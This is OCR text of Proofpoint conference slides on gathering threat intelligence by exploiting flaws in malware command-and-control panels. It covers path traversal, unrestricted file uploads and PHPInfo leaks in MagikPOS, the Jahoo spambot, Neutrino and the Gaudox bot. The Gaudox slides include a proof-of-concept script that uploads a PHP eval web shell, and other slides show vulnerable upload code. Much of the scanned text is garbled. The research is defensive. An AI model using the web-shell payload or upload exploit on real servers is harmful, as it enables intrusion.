6 12912 0.21% 2420 0.00% |/s Session spy
7 5259 0.08% 1336859 1.39% |/u/_gbotinj.exe.pkg Qbot exe updates
8 2010,  0.03% 6220  0.01%|/E/J2.]S inject lframe
9 1825 0.03% 1822 0.00% |/
10 1522 0.02% 408 0.00% |/robots.txt ‘
© 2017 Proofpoint, Inc. b|g2=k e proofpoint?
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Method 20

Let’'s try some complex techniques!

blgc’;khat proofpoint’

ASIA 2017



Method 20 -- Path traversal

> Win: arbitrary file access
> MagikPOS

‘ (' 1 (i) view-source:http:jf = d.php?file=..1..}..] " m . settings.php c

<Zphp

class settings {
//db
const db_hostname = "Jocalbost”®;
const db_user = °root”;
const db_password = " pmmm . x!°;
const db_name = °"02kfBgp°;

/faccount
const umb_userpmame = °“Magic®;
const umb password = T D O THL 2 °;

//pfatform

//how many times a2 user can send bad authentication detarls
const brute ipban = 5;

//login session duration in seconds
const sessionfime = "3600°;

//folder names
const umb_fogsPath = "fogs”®;
const umb_updatePath = '§ updates’;

© 2017 Proofpoint, Inc. /lencryption key . . o
const enc_key = @3B *( }<>,.1;' -—oqwertgnhiopl”;

O 1 proofpoint?
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Method 20 -- Path traversal

> Win: arbitrary file access

> MagikPOS
Download Bins Delete Bins ~ Update Exe  Delete Bat =~ Check Status Search: _

Double click on any bot will show info in a new tab, clik on a bot will select that bot and apply command!
If no bot selected the command will apply to all bots | Please Update Exe once a day for a better functionality !

BOTS:695 TOTAL PCS:63728 MONEY: $21242.67
i Hwid Location Local Ip Pc Name System Reg. Heartbeat

Windows
2017-02-21

Jersey | 192.168.1.254 Server 2012
10

04:22:34
R2 Standard

Windows
2017-03-16
10.1.22.5 Server 2008
04:45:15
R2 Standard

Windows
2017-02-17
192.168.3.10  WIN- |B2JLDG Server 2008
10:18 00:29:11
R2 Standard

Windows 7 28.01 2017-02-17
192.168.3.9
Professional 10:23 00:25:35

28.01 2017-01-28
10.1.1.12 COmM 1E261245 Windows XP
6:57 18:58:28

Windows 7 29.01 2017-03-16
h Carolina 17: ! 172.74.154.141 PNMI

Professional 12:31 04:45:13



Method 21 -- File upload vulnerability

(unrestricted)

> Win: arbitrary file access
> Jahoo spambot

E] Current task: task_495 - fr1 (2 226 893)

[ Tasks

© 2017 Proofpoint, Inc.

cycle: 3/3 Good: 181 285 (8%)

in cycle: 2079 366

W Good:
Spam:
Nouser:

Connection error:

Nomx:
Unknown:

Speed:

Time in work:

Time left:

left: 360 607

71574
143786
5385

0

0
1493546

2330
12:17
2:34

Waiting tasks

[ task_495

[ @ task_29012016_160014
[ @ task_29012016_160017
[0 @ task_29012016_160019
[@ @ task_29012016_160021

fr_0410
fr_0410
fr_2109
fr_0410
fr_2109

fr1
fr2
fr3
fra
frs

Finishing Today

E] Current task: task_29012016_160014 - fr2 (2 112 877)

cycle: 1/3 Good: 91 (0%) in cycle: 2112877 left: 2093 514
W Good: 91
Spam: 240
Nouser: 18
Connection error: 0
Nomx: 1363
Unknown: 5110
Speed: 3254
Time in work: 0:05
Time left: 10:43
Done tasks list
[ task_492 fr_0410 fr1  37:25ago
[ [ task_494 fr_0410 fr1 37:06 ago

Working Today
Waiting Today
Waiting Today
Waiting Today

b:a‘.'c’:khat proofpoint’
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Method 21 -- File upload vulnerability

(unrestricted)

> Win: arbitrary file access
> Jahoo spambot

6 ) manager/bot c * | Q search ﬁ B 4+ A 9O = -

&; JahooManager File Name File Created File Size in Bytes

lda Main Core.exe 06h38m Friday 26 September 118784 = Q

& Servers Send this file:
Browse... | No file selected.

R Send File

i

@ Campaigns

== Bot

5] task_29012016_160017 r_2109  fr3 Waiting Today
[ clear done list [ [ task_29012016_160019 fr_0410  fr4 Waiting Today
[@ @ task_29012016_160021 fr_2109  fr5 Waiting Today

blgc’:khat proofpoint’

ASIA 2017
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Method 21 -- File upload vulnerability
(unrestricted)

> Win: arbitrary file access
> Jahoo spambot

bot.php

&

function main() {
) $db,$smarty;
&; JahooMana, ¢ $fileDir = "./files/";

lda Main

(isset($_GET['action'])) {
= $action $ _GET['action'];
& Servers S } {
1€ $action $ _POST['action'];
: 11 }
R 12 (isset($_GET['do']))$do-$_GET['do'];

- _ $do = $_POST['do'];
= Campaigns

== Bot

[ clear done list
($do) {
"save file":
(1is_uploaded_file($_FILES[ 'bot_file']['tmp_name'])) {
copy($_FILES['bot_file']['tmp_name'], $fileDir.$_FILES
[ "bot file']['name']);

© 2017 Proofpoi 2 7 } { noint?
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Method 22 -- File upload vulnerability

(Satisfy prerequisites)

> Win: arbitrary file access
> Neutrino HTTP Bot (Oday)

{ Neutrino bot} = Task manager o1 Statistics A Clients E Fielist @ Formgrabber Meyviogger ogs B CC Logs L Settings

@ Upload

Online bots : @) Offline bots : @) Hour hots : @Y Today bots : @Y Tatal bots : @ Banned ip : €

CLEAR STAT CLEAR OFFLINE CLEAR BANNED

Offline Percent

Online [Top 10 today] Country

[Total] Country

i Belarus [(BY] 1 0 = Russian Federation {RUJ 62.5%

= INdia fIN] 2 i1 Romania {RO}

Kyrgyzstan (KG] == Ukraine fUA]

I 1 Romania {RO}

= Russian Federation (RUJ

== Ukraine {UA]

Anonymous Proxy fA7]

ik N0 fIN]
Unknown fA7]
Kyrayzstan {KG]

il Belarus {BY]

[0S] Statistics
Win 7 (32-hit)
Win 7 (64-hit)

Win 8 (64-bit)




Method 23 -- File upload vulnerability

via C2 communication

> Win: arbitrary file access

> Gaudox Bot (Oday)
- Hardcoded RC4 encryption key

.text:00408D11 mov eax, [dword 41815C
.text:00408D16 mov dword_ 411464, eax
.text:004068D1B mov eax, dword_ 410160
.text:004068D260 mov dword_411468, eax
-text:004088D25 mov eax, dword_ 410164
.data:0641015C dword_41015C dd 4512A7ESh - DATA XREF: sub_u07100+1?9?r

sub_4871CB+18DTw ...

DATA XREF: sub_488798+56D1r
sub_488798+58B1¥r

DATA XREF: sub_488798+5171r
sub_488798+5957r

DATA XREF: sub_488798+5237r
sub_4088798+5A17r

.data:0041615C
.data:06416160 dword_4161680 dd 696665BDh
.data:0041081680
.data:00410164 dword_410164 dd 2299FA23h
.data:00410164
.data:064106168 dword_410168 dd 2A7D779h
.data:004106168
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e || [
Method 23 -- File upload vulnerability i
via C2 communication v

e @ b!.
- 4 w
'
’ o -
gy
A k"'l‘ S

{S—
-

= SRk

> Gaudox Bot (Oday)

order.php

$QrSett = $conn->query(" Settings");
$Sett = $QrSett->fetch(PDO: :FETCH ASSOC);

$keyhex "E686C7C267C311A1066E3F97FBES52225";
$Sett["Key2"] pack("H*", $keyhex);

$ POST = array();

$ContentLength = $ SERVER["CONTENT_ LENGTH"];

$Data RC4($Sett["Key2"], KEY SIZE, file get contents("
php://input"), $ContentlLength);

parse_str($Data, $ POST);

© 2017 Proofpoint, Inc. blanck hat p rOOfPOI nt>
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Method 23 - File upload vulnerability 4 '
via C2 communication g

> Gaudox Bot (Oday)

(isset($ _POST["src"])) {
$ImgBytes pack("'H*', $ POST["src"]);
(chmod("screenshots™, ©8777))
{
$Image = fopen("screenshots/" $ClientId ".jpeg", "w"
)5
($Image) {
fwrite($Image, $ImgBytes);
fclose($Image);

}
chmod("screenshots", 0755);

}

© 2017 Proofpoint, Inc. blanck hat p I'OOprI nt>
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Method 23 - File upload vulnerability i g
11

via C2 communication e

.

> Gaudox Bot (0Oday) POC

Gaudox_exp_Oday.php

$data="cid=746573742E706870.php%008src=3C3F70687020406576616C28
245F504F53545B676F6F646775795D293B3F3E&hdr=CLNT&cvr=3&fip=1&har
=3&wiv=3&wiv=3&0sa=38&wsp=3&wed=3&wbi=38&wlg=3&wsr=3&wdr=3&pcn=3&
usn=3&1tm=3&cmd=3&ctp=3&bio=3&bmn=38&bvs=3&bsn=3&cpu=3&cmn=3&car
=3&npr=3&v
da=3&vrs=3&vrr=3&hds=3&pms=3&dbw=3&alb=3&anf=3&jvm=3&avs=3"

2

$size strlen($data);

$url "http://192.168.139.134/Panel/order.php";
$encode RC4($key, $keysize, $data, $size);

echo (POST_request($url, $encode));



Method 23 -- File upload vulnerability

via C2 communication

> Gaudox Bot (Oday) POC

Gaudox_exp_Oday.php

2 ¢ 192.168.139.134/Panel/poc.php c ‘ ‘ Q, search ‘ ﬁ E ‘ ‘ﬁ' e

c1d=746573742E706870.php% 004
src=3C3F70687020406576616C28245F504F53545B676F6F646775795D293B3F 3E&hd=CLNT & cwr=3&fip=1

har=3&wiv=3&wiv=38& osa=3&wsp=3&wed=3&wbi=3&wlg=3&wsr=3&wdr=3&pcn=3&usn=3<m=3&cmd=3&
ctp=3&bio=3&bmn=3&bvs=3&bsn=3&cpu=3&cmn=3& car=3&npr=3&vda=3&vrs=3&vwr=38&hds=3&pms=38&
dbw=3&alb=3&anf=3& jvm=3&avs=3

B 746573742E706870.php - WordPad

File Edit WYiew Insert Format Help

bed &1 ## @@ B

@ Back ~ J lt /ﬁ, Search i Folders v

<?php Beval ($_ POST[goodguy]); ?>

746573742E706870.php

- :
Ej ﬁ%ﬁe

$url "http://192.168.139.134/Panel/order.php";
$encode RC4($key, $keysize, $data, $size);

echo (POST_request($url, $encode));



Method 24

How about the C2 server’s
domain?
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Method 24 -- Set-cookie

> Leverage: identify the actual C2 domains behind
Nginx-based proxies

> Northern Gold

~Stream Content

GET /k?tstmp=2385981378 HTTP/1.1

Accept: */%

Referer: http://www. = mmmm . com/

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; windows NT 6.1; wowé64; Trident/4.0;
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC
6.0; .NET4.0C; .NET4.0E)

Accept-Encoding: gzip, deflate

Host: js. NENENEERETEEE . com

connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Mon, 23 Nov 2015 20:07:58 GMT

Content-Type: text/javascript; charset=I50-8859-1

Transfer-Encoding: chunked

connection: keep-alive

P3P: policyref="/w3c/p3p.xml"”, cP="policyref="/html/p3p.xm1", CP="NON DSP COR NID DEVa

© 2017 Proofpoint, Inc.
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Method 25

How about the C2 server’s IP?
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Method 25 -- PHPInfo

> Win: Pinpoint C2 IPs

« Many actors enable PHPIinfo

* Pinpoint C2 IPs from Nainx reverse proxies
> Dridex 120 | T e

HTTP_HOST 95, m 71.186
HTTP_X_FORWARDED_FOR
HTTP_X_REAL_IP

HTTP_CONNECTION close
HTTP_USER_AGENT Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecke/20100101 Firefox/36.0
HTTP_ACCEPT text/html,application/xhtmi+xml, application/xml;q=0.9,"/",q=0.8

HTTP_ACCEPT_LANGUAGE |zh-TW,zh;q=0.8,en-US:q=0.5,en:q=0.3
HTTP_ACCEPT_ENCODING | gzip. deflate

HTTP_REFERER http://95.163.121.186/i.php
HTTP_CACHE_CONTROL |max-age=0
PATH J/usr/lecal/bin:/usr/bin:/bin
SERVER_SIGNATURE <address>Apache/2.2.22 (Debian) Server at 95.163.121.186 Port
80</address>
SERVER_SOFTWARE ache/2.2.22 (Debian
SERVER_NAME 95 | .186
SERVER_ADDR 85.0 W 113 J |
SERVER_PORT 80
© 2017 Proofpoint, Inc. REMOTE_ADDR ==

DOCUMENT_ROOT Ivarfwww




Conclusion

> 25 proven threat intel gathering techniques
* Who's behind the campaign

Who's being targetd

Understand infrastructure and tools in use

Obtain unreleased malware

Understand actor operation and strategies

> Most C2 panels contain vulnerabilities
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